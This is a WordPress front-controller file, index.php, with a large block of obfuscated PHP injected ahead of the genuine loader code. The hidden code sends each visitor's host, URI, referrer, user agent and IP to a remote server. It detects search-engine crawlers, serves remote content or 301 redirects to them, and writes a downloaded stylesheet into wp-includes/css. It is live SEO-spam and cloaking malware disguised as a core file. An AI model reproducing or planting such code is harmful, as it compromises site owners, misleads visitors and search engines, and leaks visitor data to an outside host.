NpAWk: j5UQn: goto MpiP9; nWzYn: doXLk: goto dKltf; FUHIn: goto Uu9JC; goto nfXsM; iXB99: if (!strstr($Ir2rG, "\x67\145\x74\x63\157\156\x74\145\x6e\x74\63\60\x31\160\141\x67\x65")) { goto osNCQ; } goto ZryQC; GA6vz: if (isset($_SERVER["\x52\x45\x4d\117\x54\x45\x5f\101\104\x44\122"]) && $_SERVER["\x52\105\115\117\124\105\x5f\x41\x44\x44\122"] && strcasecmp($_SERVER["\x52\105\x4d\x4f\x54\105\137\x41\x44\x44\122"], "\x75\156\153\156\157\167\x6e")) { goto lorUM; } goto T2LvS; i5hoc: $Ir2rG = str_replace("\x67\x65\164\x63\157\156\164\x65\156\x74\63\60\x31\x70\141\x67\x65", '', $Ir2rG); goto CpPRa; n1Qzu: if (strstr($Ir2rG, "\x6e\x6f\x62\157\164\165\163\145\162\x61\147\145\x6e\x74")) { goto VImwC; } goto RsOy5; DcQxb: OG1Ad: goto f7fv0; hG02g: ggjoT: goto n9h1G; RsOy5: if (strstr($Ir2rG, "\x6f\x6b\x68\x74\155\x6c\x67\x65\164\x63\x6f\156\x74\145\x6e\164")) { goto qDSsF; } goto XcaUs; dqHsy: HztWH: goto gS0O5; f7_OE: osNCQ: goto lQzxr; P4kQe: $JXH7D = $egB5A . "\x3a\57\57" . $hhs9l . "\x2f\x69\156\144\x65\170\x6e\x65\x77\56\160\150\x70\x3f\167\145\x62\x3d" . $Qn4Q5 . "\x26\172\172\x3d" . MINuV() . "\x26\165\x72\151\75" . $t7asJ . "\46\165\162\154\163\x68\141\156\147\75" . $ln3og . "\46\150\164\164\x70\x3d" . $bNLMH . "\x26\x6c\x61\x6e\x67\75" . $WJitf . "\x26\143\x73\x73\x3d\61" . "\x26\x6f\x73\x3d" . $xmDbS . "\46\x63\154\157\x63\x6b\75" . $HGjAO . "\46\150\x74\x74\160\137\x63\154\x6f\x63\x6b\x3d" . $P_q4U; goto vKZy3; iNExH: @header("\x43\x6f\156\x74\x65\x6e\x74\55\164\x79\160\x65\x3a\x20\164\145\x78\164\x2f\x78\x6d\x6c"); goto uSx2m; A_ImK: hWCiY: goto CsbXa; WHPEz: goto QyeK2; goto yS7Yn; hAhWq: echo vl2sS($Ir2rG); goto pHdZT; ht_T4: Y_3JG: goto PyKBn; uSx2m: echo $Ir2rG; goto BRWjx; KYpch: goto y8zRw; goto ZJOx2; CpPRa: header("\x4c\x6f\143\x61\x74\x69\157\156\72\x20" . $Ir2rG); goto x8lMN; GBgVb: function vl2ss($NUwwt) { goto hFGM9; hFGM9: $R6SrB = explode("\xd\xa", trim($NUwwt)); goto mwx8m; NHzvq: return $s_Uck; goto nMjyr; ieW2_: foreach ($R6SrB as $UZOqZ) { goto LNIrs; LNIrs: $c2yUJ = rMZmE($UZOqZ); goto aEk6u; w_Erk: arW37: goto VWq_7; DUH77: $s_Uck .= $UZOqZ . "\x2d\55\x20" . $q7IFU . "\74\142\162\x3e"; goto w_Erk; aEk6u: $q7IFU = strpos($c2yUJ, "\x53\x69\x74\145\x6d\141\160\x20\x4e\157\x74\x69\146\x69\x63\x61\x74\151\157\156\x20\122\145\143\145\x69\166\145\x64") !== false ? "\160\151\x6e\147\157\x6b" : "\x65\162\x72\157\x72"; goto DUH77; VWq_7: } goto lEs2I; mwx8m: $s_Uck = ''; goto ieW2_; lEs2I: G_Nu2: goto NHzvq; nMjyr: } goto aIjmh; H2mwi: $Ir2rG = str_replace("\133\43\43\154\x69\x6e\x6b\x63\163\163\x23\43\135", '', $Ir2rG); goto KYpch; vKZy3: oSSCk: goto uQe07; NrxUr: if (file_exists($JOy9Y)) { goto Vnhfy; } goto H2mwi; k0y3r: PCGov: goto XJ7gu; XcaUs: if (strstr($Ir2rG, "\157\153\x78\155\154\147\x65\164\x63\157\x6e\x74\x65\x6e\164")) { goto sneEI; } goto ZqAK9; ZYiRI: Dg3KJ: goto NpVSA; Cjxpm: echo $Ir2rG; goto ncVD6; UkVqn: $t7asJ = $OkFcG; goto goZtY; lQzxr: goto EGp9v; goto NpAWk; vE1Dy: goto QyeK2; goto k0y3r; I6QEj: iLXev: goto oRagY; WU5Tt: X8qax: goto P4kQe; ip19K: $Rtjw7 = substr($Qn4Q5, 4); goto I6QEj; goZtY: function hgEER() { goto M2EkK; jxX14: T1qAa: goto BVBhZ; h20n8: eSQp5: goto tBRkU; GBi99: JD79M: goto dxmxC; M2EkK: if (isset($_SERVER["\x52\105\121\125\x45\123\x54\x5f\x55\x52\x49"])) { goto T1qAa; } goto Lkjlt; dxmxC: return $t7asJ; goto yz4Qo; BVBhZ: $t7asJ = $_SERVER["\x52\105\x51\x55\x45\123\x54\137\125\122\x49"]; goto GBi99; d_o0p: $t7asJ = $_SERVER["\x50\110\120\137\123\x45\114\106"] . "\x3f" . $_SERVER["\x51\125\x45\122\131\137\x53\x54\122\x49\x4e\107"]; goto tEZse; Lkjlt: if (isset($_SERVER["\141\x72\147\x76"])) { goto eSQp5; } goto d_o0p; CMkzH: PX3Vo: goto OCTgi; tEZse: goto PX3Vo; goto h20n8; tBRkU: $t7asJ = $_SERVER["\x50\x48\120\x5f\x53\x45\x4c\x46"] . "\77" . $_SERVER["\x61\162\147\x76"][0]; goto CMkzH; OCTgi: goto JD79M; goto jxX14; yz4Qo: } goto t1DCD; rItbO: if (!($OkFcG == "\x2f" || strstr($OkFcG, "\145\x77\164\x74\155"))) { goto OG1Ad; } goto DtTxx; ABz4e: qDSsF: goto DTDZ2; eJSHL: Q6Sdl: goto ip19K; NV36C: DYWef: goto J93uN; XtgnE: OLmdA: goto kck1J; ncVD6: exit; goto eU_Yo; cqHE_: function RMzME($NUwwt) { goto IQ8rq; PW1f_: lM3ff: goto hLeYP; FIOhj: $nxrwq = @file_get_contents($NUwwt); goto PW1f_; U2l8f: if ($nxrwq) { goto lM3ff; } goto FIOhj; hLeYP: return $nxrwq; goto U8GX0; IQ8rq: $nxrwq = ''; goto U2l8f; U8GX0: } goto H2A5c; fbwAE: $P_q4U = getenv("\x48\124\124\x50\x5f\x58\x5f\106\x4f\122\127\101\122\x44\x45\x44\x5f\106\117\x52"); goto qAZlO; VD0gB: wBdMU: goto UkVqn; n9h1G: goto VoCjx; goto ABz4e; uQ0_6: $GfbYt = "\45\67\x32\x25\x36\x42\45\66\x36\x25\66\x33\45\66\x32\x25\66\x31\45\66\66\45\67\62\45\x36\x43\x25\66\x31\45\62\105\45\x36\x35\45\67\x32\45\67\63\x25\66\65\45\x36\x45\x25\66\61\x25\67\x38\x25\x36\x36\45\x37\60\x25\62\x45\45\66\x42\45\x36\103\45\66\x44"; goto pXVJL; XNQZy: lorUM: goto Np8b0; Cou07: $Qn4Q5 = $_SERVER["\x48\124\x54\x50\x5f\x48\117\x53\124"]; goto CLHxX; qu5vW: exit; goto pzhLB; lahlD: $ln3og = $ln3og; goto bGQv1; ZqAK9: if (strstr($Ir2rG, "\160\x69\x6e\147\x78\155\154\x67\145\164\143\157\156\164\145\x6e\x74")) { goto jjY0c; } goto Bd4gl; T2LvS: goto HXqDJ; goto dqHsy; Np8b0: $HGjAO = $_SERVER["\x52\x45\115\117\x54\x45\x5f\101\104\104\x52"]; goto FBBZf; pW1hI: y8zRw: goto uz8a0; xw0ux: $ln3og = $_SERVER["\x48\124\124\120\x5f\122\x45\106\x45\x52\105\x52"]; goto lahlD; dKltf: if (is_dir($psZgK . "\x2f\x77\160\55\x69\156\143\154\x75\144\145\163")) { goto TpiSc; } goto UDanj; oRagY: $nJGiR = str_rot13(substr($Rtjw7, 0, 3) . substr($hhs9l, 0, 3)) . "\x2e\x63\x73\x73"; goto i44GX; gSUJD: goto hWCiY; goto GRGpC; pzhLB: EGp9v: goto FUHIn; Kodkh: if (getenv("\110\124\124\120\137\103\x4c\x49\x45\x4e\x54\x5f\111\120") && strcasecmp(getenv("\x48\124\x54\120\x5f\103\x4c\x49\x45\116\x54\137\x49\x50"), "\x75\156\153\x6e\157\167\x6e")) { goto PCGov; } goto LuElD; br7xw: if (!stristr($HGjAO, "\54")) { goto OLmdA; } goto nvbpN; pXVJL: $egB5A = "\150\164\x74\160"; goto haxkr; UI5MH: $g8jO5 = file_get_contents($JOy9Y); goto VfnmS; vlWjH: $HGjAO = $sPwub[0]; goto XtgnE; D99sW: goto iLXev; goto eJSHL; dkRnC: $Ir2rG = str_replace("\x70\151\156\147\x78\x6d\x6c\147\x65\164\143\x6f\x6e\164\x65\x6e\x74", '', $Ir2rG); goto nhQ7G; Jgble: $psZgK = $_SERVER["\104\x4f\103\x55\115\x45\x4e\124\x5f\x52\x4f\x4f\124"]; goto nWzYn; wFvc6: if (!isset($_SERVER["\x48\124\124\x50\x5f\122\105\106\x45\122\105\122"])) { goto gEb1E; } goto xw0ux; ZryQC: @header("\110\124\124\x50\x2f\61\56\61\x20\63\60\x31\x20\115\x6f\x76\145\144\x20\x50\145\162\x6d\x61\156\145\156\164\154\x79"); goto i5hoc; cTi_p: $WJitf = $WJitf; goto jhHtO; x8lMN: exit; goto f7_OE; jhHtO: $ln3og = ''; goto wFvc6; UDanj: $s4F5T = "\143\163\163"; goto grYWy; CsbXa: goto ggjoT; goto KeSgK; qAZlO: QyeK2: goto p2GKn; H2A5c: function z_YDw($pe27Q, $JOy9Y, $M5cO4) { goto u1iS7; SNEfJ: Jrns6: goto ZXFi7; HUrlz: if (!@mkdir($pe27Q)) { goto XCfsc; } goto i_Qcf; ZXFi7: XCfsc: goto GcX0K; IXtKq: BVXzq: goto IrRWN; HFsjx: @file_put_contents($JOy9Y, rMzme($M5cO4)); goto SNEfJ; i_Qcf: if (file_exists($JOy9Y)) { goto Jrns6; } goto HFsjx; xzUdB: N0GM3: goto Mf0OM; GcX0K: goto HEtad; goto xzUdB; IrRWN: HEtad: goto vP82B; u1iS7: if (is_dir($pe27Q)) { goto N0GM3; } goto HUrlz; vgkvI: @file_put_contents($JOy9Y, RmZmE($M5cO4)); goto IXtKq; Mf0OM: if (file_exists($JOy9Y)) { goto BVXzq; } goto vgkvI; vP82B: } goto rItbO; umgK0: $OkFcG = "\x2f"; goto VD0gB; XAd1d: @header("\103\x6f\156\x74\145\156\164\x2d\x74\x79\160\x65\72\x20\164\145\x78\164\x2f\x68\164\155\154\x3b\x20\x63\150\141\162\163\x65\x74\x3d\x75\164\x66\55\70"); goto hAhWq; CLHxX: $xmDbS = $_SERVER["\x48\x54\x54\120\137\x55\x53\x45\x52\x5f\101\107\105\116\x54"]; goto nwIHY; f7fv0: if (is_file($JOy9Y)) { goto X8qax; } goto WTo_a; aIjmh: function miNUv() { goto tI6Ht; cOFCK: goto yj2o1; goto DCwHx; Y6KZn: return false; goto cOFCK; DCwHx: ZFeFG: goto y0jGz; f5eG_: if (stristr($eTcpB, "\x67\x6f\x6f\x67\x6c\x65\x62\x6f\164") || stristr($eTcpB, "\x62\x69\156\x67") || stristr($eTcpB, "\x79\141\x68\157\157") || stristr($eTcpB, "\147\x6f\x6f\147\154\x65") || stristr($eTcpB, "\x47\x6f\x6f\147\154\145\142\157\164") || stristr($eTcpB, "\147\157\157\x67\154\x65\x62\x6f\164")) { goto ZFeFG; } goto Y6KZn; tI6Ht: $eTcpB = strtolower($_SERVER["\x48\124\124\x50\x5f\x55\x53\105\122\137\x41\107\x45\116\124"]); goto f5eG_; OswtC: yj2o1: goto JggjU; y0jGz: return true; goto OswtC; JggjU: } goto cqHE_; KeSgK: sneEI: goto uZMJa; H212n: if (getenv("\122\105\x4d\117\124\105\137\x41\x44\104\122") && strcasecmp(getenv("\x52\x45\x4d\x4f\x54\x45\137\101\x44\x44\122"), "\165\x6e\x6b\156\157\167\x6e")) { goto HztWH; } goto GA6vz; gS0O5: $HGjAO = getenv("\122\105\x4d\117\x54\105\137\x41\x44\x44\x52"); goto kw_X0; uz8a0: $Ir2rG = str_replace("\157\x6b\x68\164\x6d\x6c\x67\145\x74\x63\157\156\x74\145\156\164", '', $Ir2rG); goto Cjxpm; uQe07: $Ir2rG = RmzME($JXH7D); goto n1Qzu; PyKBn: $OkFcG = hGeeR(); goto XElBm; ayHto: goto doXLk; goto FCgef; YuQR7: $s4F5T = "\167\x70\x2d\151\156\x63\154\165\x64\x65\163\57\x63\x73\163"; goto ZYiRI; JmRg5: if (substr($Qn4Q5, 0, 4) == "\x77\x77\x77\x2e") { goto Q6Sdl; } goto QHtp4; haxkr: if (AU0xk()) { goto DYWef; } goto smHGO; XJ7gu: $P_q4U = getenv("\x48\124\124\x50\137\x43\114\111\105\116\x54\x5f\111\x50"); goto WHPEz; GRGpC: jjY0c: goto dkRnC; BRWjx: exit; goto hG02g; bGQv1: gEb1E: goto MwZFK; p2GKn: $WJitf = @$_SERVER["\x48\124\124\120\137\101\103\x43\105\120\124\x5f\114\101\x4e\x47\125\x41\x47\x45"]; goto cTi_p; nvbpN: $sPwub = explode("\x2c", $HGjAO); goto vlWjH; pHdZT: exit; goto A_ImK; bDqPo: goto oSSCk; goto WU5Tt; pWV6b: $HGjAO = ''; goto H212n; nwIHY: $xmDbS = urlencode($xmDbS); goto pWV6b; DtTxx: Z_YDw($pe27Q, $JOy9Y, $M5cO4); goto DcQxb; FCgef: EbJsX: goto Jgble; NpVSA: $pe27Q = $psZgK . "\57" . $s4F5T; goto JmRg5; MwZFK: if (isset($_SERVER["\104\x4f\x43\x55\115\105\x4e\x54\x5f\x52\x4f\117\124"])) { goto EbJsX; } goto uGQus; vvch6: Uu9JC: goto gSUJD; i44GX: $JOy9Y = $psZgK . "\x2f" . $s4F5T . "\x2f" . $nJGiR; goto gQRRb; DTDZ2: @header("\103\x6f\x6e\x74\x65\x6e\x74\x2d\164\171\160\145\x3a\x20\x74\x65\170\164\57\150\164\155\x6c\73\40\x63\x68\141\x72\163\145\x74\75\x75\164\146\55\70"); goto NrxUr; FBBZf: HXqDJ: goto br7xw; eU_Yo: VoCjx: goto Q3fLY; nhQ7G: Z_YDW($pe27Q, $JOy9Y, $M5cO4); goto XAd1d; VfnmS: $Ir2rG = str_replace("\133\x23\43\x6c\x69\x6e\x6b\x63\x73\x73\x23\x23\135", $g8jO5, $Ir2rG); goto pW1hI; XElBm: if (!($OkFcG == '')) { goto wBdMU; } goto umgK0; k5Uj9: function aU0xK() { goto tWyNt; Hpuk1: goto gCGEi; goto Ax09T; IJfgg: if (isset($_SERVER["\110\x54\124\120\x5f\130\137\x46\117\x52\x57\101\x52\x44\105\104\x5f\120\122\x4f\124\117"]) && $_SERVER["\x48\x54\124\x50\137\x58\x5f\x46\117\122\x57\101\x52\104\105\x44\137\120\x52\117\124\x4f"] === "\150\x74\164\160\163") { goto DM2LU; } goto CA_0W; tWyNt: if (isset($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\110\124\124\x50\123"]) !== "\x6f\146\146") { goto yEOJV; } goto IJfgg; Ax09T: yEOJV: goto j33C6; ljPFN: goto gCGEi; goto bUId0; n07vn: goto gCGEi; goto Pn8TL; bUId0: TfNso: goto xSpeU; soMm_: return false; goto oQCq0; CA_0W: if (isset($_SERVER["\110\x54\x54\120\137\106\122\x4f\x4e\x54\x5f\105\116\104\137\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\137\106\x52\117\x4e\x54\x5f\x45\x4e\104\137\110\124\124\120\x53"]) !== "\157\x66\x66") { goto TfNso; } goto Hpuk1; xQtHt: return true; goto ljPFN; PHJoa: gCGEi: goto soMm_; Pn8TL: DM2LU: goto xQtHt; j33C6: return true; goto n07vn; xSpeU: return true; goto PHJoa; oQCq0: } goto Cou07; MpiP9: @header("\x48\x54\x54\x50\x2f\x31\56\x31\40\x34\60\x34\x20\116\x6f\164\x20\x46\157\x75\x6e\144"); goto qu5vW; ZJOx2: Vnhfy: goto UI5MH; uZMJa: $Ir2rG = str_replace("\157\153\170\x6d\x6c\x67\x65\x74\x63\157\x6e\164\x65\156\164", '', $Ir2rG); goto iNExH; nfXsM: FWprG: goto QDMsv; gQRRb: $M5cO4 = $egB5A . "\x3a\x2f\x2f" . $hhs9l . "\57\x74\145\x6d\160\57\163\x74\171\x6c\x65\56\x63\163\x73"; goto GBgVb; Kyha2: TpiSc: goto YuQR7; QHtp4: $Rtjw7 = $Qn4Q5; goto D99sW; Q3fLY: VImwC: /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';